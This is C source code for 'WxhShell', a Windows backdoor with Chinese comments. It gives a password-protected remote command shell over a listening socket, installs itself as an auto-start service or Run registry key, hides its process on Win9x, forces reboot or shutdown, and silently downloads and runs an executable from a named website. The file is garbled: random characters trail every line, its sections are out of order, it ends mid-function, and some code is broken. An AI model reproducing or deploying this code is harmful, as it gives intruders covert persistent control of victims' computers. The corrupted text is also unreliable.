    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {+r0Nikx_  
    else { ?hu}wl)  
    closesocket(wsh); s @\UZ C  
    ExitThread(0); 0h^&`H:  
    } '}3@D$YiM%  
    break; oRmz'F  
    } =g)|g+[H  
  // 获取shell K'z|a{ru.{  
  case 's': { #Duz|F+%  
    CmdShell(wsh); hZ6CiEJB  
    closesocket(wsh); #;,dk(URo  
    ExitThread(0); :=9?XzCC  
    break; 80=6B  
  } (ns> z7  
  // 退出 do0;"O0 (  
  case 'x': { 5H8]N#Y&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yv1Z*wTpO  
    CloseIt(wsh); 67<Ym0+ =  
    break; Qxb5Y)/jn  
    } X;`XkOjk  
  // 离开 7L68voC@U  
  case 'q': { rik-C7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  zE$KU$  
    closesocket(wsh); kex4U6&OQB  
    WSACleanup(); ?VVtEmIN  
    exit(1); 7S+_eL^  
    break; h:%L% Y9z  
        } Y)="of  
  } U 8Rko)  
  } rq=D[vX\N(  
?U3X,uv5J  
  // 提示信息 ["]r=l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rm}OVL  
} Wc] L43u  
  } i%RN0UO^  
P,1[NW  
  return; 8&T6  
} DdO$&/`)YP  
8bl&-F `  
// shell模块句柄 6%N.'wf  
int CmdShell(SOCKET sock) Lckb*/jV&  
{ |j3fS[.$  
STARTUPINFO si; k4WUfL d  
ZeroMemory(&si,sizeof(si)); L{XNOf3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rO#WG}E<"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zW[fHa$m  
PROCESS_INFORMATION ProcessInfo; ~%)ug3%e  
char cmdline[]="cmd"; MBlh lMyI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ks{y=@ <,  
  return 0; eAvOT$  
} YXe L7W  
EtVRnI@  
// 自身启动模式 M3>c?,O)J  
int StartFromService(void) ~ti{na4W<  
{ J QSp2b@'H  
typedef struct >;|~ z\8  
{ Ih_2")d  
  DWORD ExitStatus; ib$_x:OO"  
  DWORD PebBaseAddress; lN@SfM4\  
  DWORD AffinityMask; !2]eVO  
  DWORD BasePriority; df@r2 /Y  
  ULONG UniqueProcessId; OB-gH3:  
  ULONG InheritedFromUniqueProcessId; *>b*I4dz  
}   PROCESS_BASIC_INFORMATION; j2\B(PA  
urM=l5Sx  
PROCNTQSIP NtQueryInformationProcess; 1D@'uApi.  
fcDiYJC*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j A/xe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Yfro^}f  
Q:U^):~  
  HANDLE             hProcess; ^P)W/2  
  PROCESS_BASIC_INFORMATION pbi; j^ y9+W_b  
tXZE@JyuC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s+9q`k^  
  if(NULL == hInst ) return 0; V(/ @$&  
8Jnl!4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (~}P.?C8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G:u-C<^'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AHg:`Wjv-  
'!$g<= @  
  if (!NtQueryInformationProcess) return 0; 7bC1!x*qw  
?<_yW#x6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K chp%  
  if(!hProcess) return 0; ?ykQ]r6a<  
wOfx7D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1Z. D3@  
4$HU=]b6Tf  
  CloseHandle(hProcess); ~3 ,>TV  
.TI =3*`G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8oAr<:.=  
if(hProcess==NULL) return 0; $>Y2N5  
l'Oz-p.@  
HMODULE hMod; 2.xA' \M  
char procName[255]; nu'r `  
unsigned long cbNeeded; EL--?<g  
]f%yeD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LYYz =gvZl  
=IbDGw(  
  CloseHandle(hProcess); `>.^/SGu>?  
!|\$|m<n  
if(strstr(procName,"services")) return 1; // 以服务启动 rGNYu\\  
% ~!A,  
  return 0; // 注册表启动 |$hBYw  
} k/U1 :9  
WAd5,RZ?  
// 主模块 G&eRhif  
int StartWxhshell(LPSTR lpCmdLine) LIm{Y`XU  
{ <FaF67[Q  
  SOCKET wsl; 8XS_I{}?  
BOOL val=TRUE; HUP~  
  int port=0; p,(gv])ie  
  struct sockaddr_in door; uItzFX*   
.m r& zq  
  if(wscfg.ws_autoins) Install(); J(0E'o{ug  
D9hV`fA  
port=atoi(lpCmdLine); %MA o<,ha  
5X4 #T&.  
if(port<=0) port=wscfg.ws_port; >#9 f{  
mNc?`G_R  
  WSADATA data; [ 2WJ];FJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {~L{FG)O  
;7;=)/-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +-s$Htx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eUY/H1  
  door.sin_family = AF_INET; { :^;byd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~2HlAU))<&  
  door.sin_port = htons(port);  BVJ6U[h`  
5mtsN#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zCpsGr  
closesocket(wsl); ,sa%u Fm  
return 1; -[h2fqu1  
} YI877T9>  
<l#|I'hP  
  if(listen(wsl,2) == INVALID_SOCKET) { Lo<-;;vQ  
closesocket(wsl); vZ&{   
return 1; w<qn@f  
} l0 Eh?  
  Wxhshell(wsl); 3Ygt!  
  WSACleanup(); B4l*]K%  
vO?\u`vY  
return 0; 7I#<w[l>k  
d ynq)lf  
} e$vvmbK.  
b6]MJ0do  
// 以NT服务方式启动 b{~64/YJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k}0Y&cT!rU  
{ fRt`]o:Om  
DWORD   status = 0; zUQn*Cio e  
  DWORD   specificError = 0xfffffff; 8LPvb#9=  
j\LJ{?;jC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b +4x2{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jmE\+yz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;2&ym)`  
  serviceStatus.dwWin32ExitCode     = 0; :l;SG=scx  
  serviceStatus.dwServiceSpecificExitCode = 0; w3<%wN>tE  
  serviceStatus.dwCheckPoint       = 0; 0gIJ&h6*f  
  serviceStatus.dwWaitHint       = 0; 1Zr J7a7=  
#M)S Ae2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9%^IMUWA  
  if (hServiceStatusHandle==0) return; ji&%'h  
~;QzV?%  
status = GetLastError(); (m~gG|n4  
  if (status!=NO_ERROR) lihV! 1  
{ fPpFAO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i&di}x  
    serviceStatus.dwCheckPoint       = 0; f"Z2,!Z;  
    serviceStatus.dwWaitHint       = 0; q r<+@Q  
    serviceStatus.dwWin32ExitCode     = status; ~43T$^<w;  
    serviceStatus.dwServiceSpecificExitCode = specificError; FD1Z}v!5IJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =O.%)|  
    return; H\PY\O&cP  
  } *7JsmN?  
-(;<Q_'s{"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ; *ZiH%q,  
  serviceStatus.dwCheckPoint       = 0; n N_Ylw  
  serviceStatus.dwWaitHint       = 0; 9w:F_gr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p]]*H2UD  
} A8zh27[w%  
N E/_  
// 处理NT服务事件,比如:启动、停止 us,~<e0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {0~xv@ U  
{ m"|AD/2;(  
switch(fdwControl) o3ZqPk]al  
{ e.>>al  
case SERVICE_CONTROL_STOP: Py! F  
  serviceStatus.dwWin32ExitCode = 0; Z /*X)mBuB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LJh^-FQ  
  serviceStatus.dwCheckPoint   = 0; Y+ Qm.  
  serviceStatus.dwWaitHint     = 0; 4k]DktY}.  
  { V."qxKsz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qt.Y6s:r_  
  } gP^p7aYwn  
  return; .S6u{B  
case SERVICE_CONTROL_PAUSE: /ygC_,mx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S [=l/3c  
  break; T1_qAz+  
case SERVICE_CONTROL_CONTINUE: ssUm1F\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \Um &  
  break; c`M ,KXott  
case SERVICE_CONTROL_INTERROGATE: 3;F+.{Icc  
  break; xC5`|JW  
}; 'VQ mK#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0{k*SCN#  
} 4f-I,)qCBk  
O Bp&64  
// 标准应用程序主函数 *S?vw'n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) abczW[\  
{ RHj<t");  
&f"kWOe$X  
// 获取操作系统版本 rP<S =eb  
OsIsNt=GetOsVer(); TPi=!*$&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -udKGrT+  
Gc0/*8u/  
  // 从命令行安装 j-n-2:Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6<`tb)_2~  
VM"z6@  
  // 下载执行文件 ?,AWXiif  
if(wscfg.ws_downexe) { SQhw |QdG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \1H~u,a  
  WinExec(wscfg.ws_filenam,SW_HIDE); IS [&V&.n  
} -+H?0XN  
"l7))>lL  
if(!OsIsNt) { dp=#|!jc  
// 如果时win9x,隐藏进程并且设置为注册表启动 -6yFE- X/  
HideProc(); D/<;9hw  
StartWxhshell(lpCmdLine); 47 |&(,{  
} eN Y?  
else cpJ(77e  
  if(StartFromService()) sR*.i?lN  
  // 以服务方式启动 w"/RI#7.  
  StartServiceCtrlDispatcher(DispatchTable); 24 L =v  
else kfQi}D'a  
  // 普通方式启动 x/]]~@:  
  StartWxhshell(lpCmdLine);  1cvH  
T0F!0O `  
return 0; !Bqmw  
} E#^?M#C  
w.0:#4  
Z^l!#"\4m  
863PVce",}  
=========================================== =zX A0%  
TD"w@jBA  
"i1r9TLc  
NkYU3[m$v  
>}|Vmy[/  
,K 1X/),  
" p(`?y:.3  
TxDzGC  
#include <stdio.h> zZ})$Ny(  
#include <string.h> !-<PV  
#include <windows.h> 0!(BbQnWI  
#include <winsock2.h> uNS ]n}  
#include <winsvc.h> c_+y~X)i  
#include <urlmon.h> RLL2'8"A  
=c1t]%P,  
#pragma comment (lib, "Ws2_32.lib") 0f]LOg  
#pragma comment (lib, "urlmon.lib") )gb gsQZ  
k2t#O%_f  
#define MAX_USER   100 // 最大客户端连接数 50 VH>b_  
#define BUF_SOCK   200 // sock buffer *E1v  
#define KEY_BUFF   255 // 输入 buffer Q ,6[  
O9Fg_qfuT_  
#define REBOOT     0   // 重启 lWe1Q#  
#define SHUTDOWN   1   // 关机 .C7;T'>!  
25-5X3(>j=  
#define DEF_PORT   5000 // 监听端口 |v?*}6:a  
e/nc[  
#define REG_LEN     16   // 注册表键长度 :f|X$> b  
#define SVC_LEN     80   // NT服务名长度 0*umf .R  
1}>uY  
// 从dll定义API M>kk"tyM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CDRkH)~$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TexSUtx@$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g#b uy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VfON{ 1g  
cJQ&#u  
// wxhshell配置信息 * U#@M3g.  
struct WSCFG { x O gUX6n  
  int ws_port;         // 监听端口 @c{rqa v  
  char ws_passstr[REG_LEN]; // 口令 V/@?KC0B5  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'D1Sm&M2%e  
  char ws_regname[REG_LEN]; // 注册表键名 6~b]RZe7  
  char ws_svcname[REG_LEN]; // 服务名 cV+ x.)a.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w\f>.N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kV$$GLD\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ohe* m[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WG\gf\=I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wgr`)D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3.vQ~Fvl  
(}:n#|,{M  
}; o 2Okc><z  
Y#[>j4<T  
// default Wxhshell configuration bo%v(  
struct WSCFG wscfg={DEF_PORT, oY$L  
    "xuhuanlingzhe", "2FI3M =  
    1, QTKN6P  
    "Wxhshell", \'AS@L"Wj^  
    "Wxhshell", Z/hk)GI  
            "WxhShell Service", R]8^ @i1  
    "Wrsky Windows CmdShell Service", $k= 5nJ  
    "Please Input Your Password: ", SF#Rc>v  
  1, K,o@~fj  
  "http://www.wrsky.com/wxhshell.exe", 3Q-[)Z )  
  "Wxhshell.exe" gJv;{;%  
    }; y5AJ1A6?E  
LNR~F_64Q  
// 消息定义模块 jh|4Y(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f}_d`?K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =O?#>3A}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sHwn,4|iY  
char *msg_ws_ext="\n\rExit."; .xIu  
char *msg_ws_end="\n\rQuit."; vs|_l!n3  
char *msg_ws_boot="\n\rReboot..."; N)rf /E0  
char *msg_ws_poff="\n\rShutdown..."; IC:wof "  
char *msg_ws_down="\n\rSave to "; $*Z Zh  
acdWU"<  
char *msg_ws_err="\n\rErr!"; !o k6*m  
char *msg_ws_ok="\n\rOK!"; Gd08RW  
m=7Z8@sX},  
char ExeFile[MAX_PATH]; vKCgtk  
int nUser = 0; !R/- |Kjy  
HANDLE handles[MAX_USER]; lxvRF93a.  
int OsIsNt; $4j$c|S!  
Q'mLwD3>  
SERVICE_STATUS       serviceStatus; y_Tc$g~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S5$sB{\R  
D#?jddr-  
// 函数声明 ju= +!nGUa  
int Install(void); >.]' N:5  
int Uninstall(void); QV@NA@;XZ  
int DownloadFile(char *sURL, SOCKET wsh); B,Gt6c Uq  
int Boot(int flag); *~0Ko{Avc  
void HideProc(void); ]XAJ|[]sj*  
int GetOsVer(void); kQY+D1  
int Wxhshell(SOCKET wsl); E*F)jP,yo  
void TalkWithClient(void *cs); ^ew<|J2,B  
int CmdShell(SOCKET sock); =:;KY uTr  
int StartFromService(void); xn)eb#r  
int StartWxhshell(LPSTR lpCmdLine); l`}Ag8Q  
<\If:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uKBSv*AM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %j=xLV\  
't5 I%F  
// 数据结构和表定义 /#,3JU$w  
SERVICE_TABLE_ENTRY DispatchTable[] = C<?Huw4R0  
{ G\U'_G>  
{wscfg.ws_svcname, NTServiceMain}, b35Z1sfD j  
{NULL, NULL} SB3= 5"q  
}; ?<#2raH-  
Y^(Sc4 W  
// 自我安装 >(t_  
int Install(void) /0J1_g  
{ DrTo")T  
  char svExeFile[MAX_PATH]; XazKS4(  
  HKEY key; ?5oeyBA@  
  strcpy(svExeFile,ExeFile); Q.8)_w  
dK=<%)N  
// 如果是win9x系统,修改注册表设为自启动 # XD-a  
if(!OsIsNt) { Du3nK" -g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WLTraB[?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B:pIzCP  
  RegCloseKey(key); > WsRCBA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1YklPMx6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Viu+#J;l  
  RegCloseKey(key); +foyPj!%  
  return 0; sPee" 9%,  
    } r95l.v  
  } V|h/a\P  
} {Y%X  
else { &$vW  
73C  
// 如果是NT以上系统,安装为系统服务 AV0C9a/td  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1f"LAs`%  
if (schSCManager!=0) ZXf^HK  
{ $1CAfSgKw  
  SC_HANDLE schService = CreateService G(puC4 "&  
  ( _TRO2p0  
  schSCManager, c==` r C  
  wscfg.ws_svcname, 6L~tUe.G  
  wscfg.ws_svcdisp, J)w58/`?t  
  SERVICE_ALL_ACCESS, l9J]<gG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nj7wc9z4  
  SERVICE_AUTO_START, z'G~b[kG4n  
  SERVICE_ERROR_NORMAL, 2{!^"iW  
  svExeFile, 4gTD HQP  
  NULL, }- Jw"|^W  
  NULL, DJtKLG0  
  NULL, #NAlje(7  
  NULL, 95,{40;X7  
  NULL *Q<%(JJ  
  ); 9Fl}"p[>L.  
  if (schService!=0) rSYzrVc  
  { ?\QEK  
  CloseServiceHandle(schService); ~ "] 6  
  CloseServiceHandle(schSCManager); 8%UI<I,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2[\I{<2/9  
  strcat(svExeFile,wscfg.ws_svcname); 7DU"QeLeb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O1.a=O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Om% 9 x  
  RegCloseKey(key); +M+ht  
  return 0; axl!zu*  
    } CL^MIcq?  
  } FuZ7xM,  
  CloseServiceHandle(schSCManager); (]|rxmycA  
} 2/9P&c-rp  
} [8k7-}[  
B}.G(-u?7  
return 1; rmCrP(  
} f3 lKdXnP  
;P-xKRU!Xx  
// 自我卸载 yK +&1U2`  
int Uninstall(void) yTDlDOmV!  
{ V}l >p?  
  HKEY key; U20G{%%  
$lj1924?^  
if(!OsIsNt) { u3 mTsq!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o9!DK  
  RegDeleteValue(key,wscfg.ws_regname); UQwLAXs  
  RegCloseKey(key); acWm+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <}c`jN!z.  
  RegDeleteValue(key,wscfg.ws_regname); <y(uu(c  
  RegCloseKey(key); Fejs9'cB  
  return 0; X*2M Nx^K~  
  } silTL_$  
} xGQ958@  
} MorR&K  
else { D?u*^?a2  
.)W'{2J-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lc%2Pi[X  
if (schSCManager!=0) 1*eWo~G  
{ _MZqH8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Xj;nh?\u  
  if (schService!=0) 7Q<xC  
  { 3 *G 7H  
  if(DeleteService(schService)!=0) { z G {1;  
  CloseServiceHandle(schService); llbj-9OZL  
  CloseServiceHandle(schSCManager); 93|u. @lEy  
  return 0; ;4E0%@R  
  } q%=`PCty  
  CloseServiceHandle(schService); 3A_7R-sQ  
  } u-zl-?Ne  
  CloseServiceHandle(schSCManager); 2\ /(!n  
} #c5 NFU}9  
} C3af>L@}  
=GpO }t">  
return 1; a;eV&~  
} Kc=&jCn  
tVUoUl  
// 从指定url下载文件 .y{qsL^P  
int DownloadFile(char *sURL, SOCKET wsh) fbKL31PI  
{ FO{K=9O  
  HRESULT hr; Be{7Rj v  
char seps[]= "/"; OLc/Vij;  
char *token; )o'&f"/  
char *file; dZ&/Iz  
char myURL[MAX_PATH]; odPq<'V|AY  
char myFILE[MAX_PATH]; [-cYFdt"V  
+*3\ C!  
strcpy(myURL,sURL); BzL>,um  
  token=strtok(myURL,seps); Qo{Ez^q@J  
  while(token!=NULL) Oslbt8)U6  
  { oB:tio4DE  
    file=token; {~a=aOS  
  token=strtok(NULL,seps); k,S'i#4q4  
  } c+/SvRx^>  
NZ/>nNs  
GetCurrentDirectory(MAX_PATH,myFILE); />(e.)f  
strcat(myFILE, "\\"); 1}mI zrY  
strcat(myFILE, file); oc,a  
  send(wsh,myFILE,strlen(myFILE),0); F>,kKR-  
send(wsh,"...",3,0); !tGXh9g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f)\ =LV  
  if(hr==S_OK) `Td0R!  
return 0; BlQu9{=n  
else tWYKW3~]  
return 1; v;X'4/ M  
v V:eU-a  
} 2HBYReQ  
UBp0;)-  
// 系统电源模块 Bry\"V"'g  
int Boot(int flag) +(VHnxNQs  
{ eN@V?G26K  
  HANDLE hToken; p%_#"dkC7  
  TOKEN_PRIVILEGES tkp; s5>=!yX  
`d, hP"jBc  
  if(OsIsNt) { -"iGcVV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5QU7!jb I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2E^zQ>;01  
    tkp.PrivilegeCount = 1; 0[g8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oJy]n9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WC,&p  
if(flag==REBOOT) { ~qm<~T_0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8moX"w\~_h  
  return 0; RQ# gn  
} 4(MZ*6G]?  
else { , KF>PoySA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? &ew$%  
  return 0; l9XK;0R9  
} s.]7c CY  
  } }!b9L]  
  else { ]%m0PU#  
if(flag==REBOOT) { q bb:)>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wE:hl  
  return 0; ig^9lM'  
} $Ml/=\EHOg  
else { PA;RUe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r'M|mQ$s>  
  return 0; FMB\$(g  
} oop''6`C%  
} IC>OxYg*  
k.>*!l0  
return 1; `6`NuZ*6g  
} ~?8B~l^  
HJ]\VP9Zb  
// win9x进程隐藏模块 y% =nhV  
void HideProc(void) nY"9"R\.=  
{ @47MJzC  
w}^z1n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g![]R-$  
  if ( hKernel != NULL ) 0l!%}E  
  { z-K?Ak B1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (Y\aV+9[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !Gsr* F{.  
    FreeLibrary(hKernel); ~aa`Y0Ws],  
  } RekTWIspT/  
Q^4j  
return; !r$?66q/  
} Z{7lyEzBg  
;AK;%  
// 获取操作系统版本 g2.%x \d  
int GetOsVer(void) 7!.%HhU0  
{ t<sg8U.  
  OSVERSIONINFO winfo; $A,fO~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DbFTNoVR  
  GetVersionEx(&winfo); Z=n# XJO15  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8=OK8UaU  
  return 1; &Al9%W  
  else pUki!TA  
  return 0; JS% &ipm  
} /Za'L#=R  
5fPYtVm  
// 客户端句柄模块 12v5*G[X  
int Wxhshell(SOCKET wsl) ivsp):W  
{ ~` v 7  
  SOCKET wsh; @kC>+4s!  
  struct sockaddr_in client; >K**SjVG  
  DWORD myID; i X qB-4"  
aW]!$  
  while(nUser<MAX_USER) !xyO  
{ >lQ&^9EI%  
  int nSize=sizeof(client); EL $"MT}p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); saQA:W;  
  if(wsh==INVALID_SOCKET) return 1; G=a.Wff  
U.~, Bwb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o-2FGM`*VB  
if(handles[nUser]==0) 4 F~e3  
  closesocket(wsh); ]YYjXg}%  
else @gc lks/M  
  nUser++; ^^QW<  
  } #$7 z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X9C)FS  
]uO 8  
  return 0; | iEhe  
} iD,iv  
LyO, ]  
// 关闭 socket [?VYxX@  
void CloseIt(SOCKET wsh) ;xaOve;9  
{ FLdO  
closesocket(wsh); {ve86 POY  
nUser--; L8n1p5 gx3  
ExitThread(0); 9H:5XR  
}  ZeD;  
4mSL*1j  
// 客户端请求句柄 vUl5%r2O4  
void TalkWithClient(void *cs) HubSmbS1  
{ C-4NiXa  
pisjfNT`o  
  SOCKET wsh=(SOCKET)cs; JViglO1\  
  char pwd[SVC_LEN]; 0 ;kcSz  
  char cmd[KEY_BUFF]; Z)Y--`*  
char chr[1]; *F/uAI^)  
int i,j; c(Zar&z,E  
]bCeJE.+)  
  while (nUser < MAX_USER) { cn#JO^8  
jV)!9+H#  
if(wscfg.ws_passstr) { B~oSKM%8R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HVaWv].  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9k=-8@G9  
  //ZeroMemory(pwd,KEY_BUFF); ;V]EF  
      i=0; bUbM}  
  while(i<SVC_LEN) { .CH0P K=l  
;K38I}  
  // 设置超时 IQ[ ?ej3W  
  fd_set FdRead; =t1.j=oC  
  struct timeval TimeOut; d (]t}  
  FD_ZERO(&FdRead); un0t zz  
  FD_SET(wsh,&FdRead); X||Z>w}v  
  TimeOut.tv_sec=8; ]X~;?>#:p  
  TimeOut.tv_usec=0; X_|W#IM*+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <S I& e/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .QOQqU*2I  
:"? boA#L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GgkljF@{}  
  pwd=chr[0]; e&Z}struE  
  if(chr[0]==0xd || chr[0]==0xa) { U*F|Z4{W  
  pwd=0; INSI$tA~  
  break; -\:#z4Tc  
  } Q# xeu  
  i++; H pXMPHd  
    } A3ad9?LR[R  
FSv')`}  
  // 如果是非法用户,关闭 socket 7cin?Z1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yZ3/Ia>,  
} /=Bz[ O  
<y5V],-U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X.<_TBos|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b2c% 0C  
cAJKFu X"  
while(1) { L;30& a  
I$0JAy  
  ZeroMemory(cmd,KEY_BUFF); 7onMKMktM%  
Xm`s=5%  
      // 自动支持客户端 telnet标准   +4^XFPq~  
  j=0; )}L*8 LV  
  while(j<KEY_BUFF) { YAnt}]u!"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M iIH&z  
  cmd[j]=chr[0]; ;:1d<Q|  
  if(chr[0]==0xa || chr[0]==0xd) { 6W$ #`N>  
  cmd[j]=0; `84pql,  
  break; -'+|r]  
  } eCdx(4(\a  
  j++; mLX1w)=r  
    } VpSk.WY/ e  
ie+&@u  
  // 下载文件 *>%34m93  
  if(strstr(cmd,"http://")) { ):?ype>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p.i$[6M  
  if(DownloadFile(cmd,wsh)) p3O%|)yV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VaZ+TE  
  else lM Gz"cym  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #EtS9D'd+  
  } `Yp\.K z  
  else { ERQ a,h/  
D4'"GaCv  
    switch(cmd[0]) { mtuq  
  6u/3"A]'  
  // 帮助 x^_Wfkch]  
  case '?': { kH*l83  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V[,/Hw~d%  
    break; WpC@ nz?  
  } "lLt=s2>L  
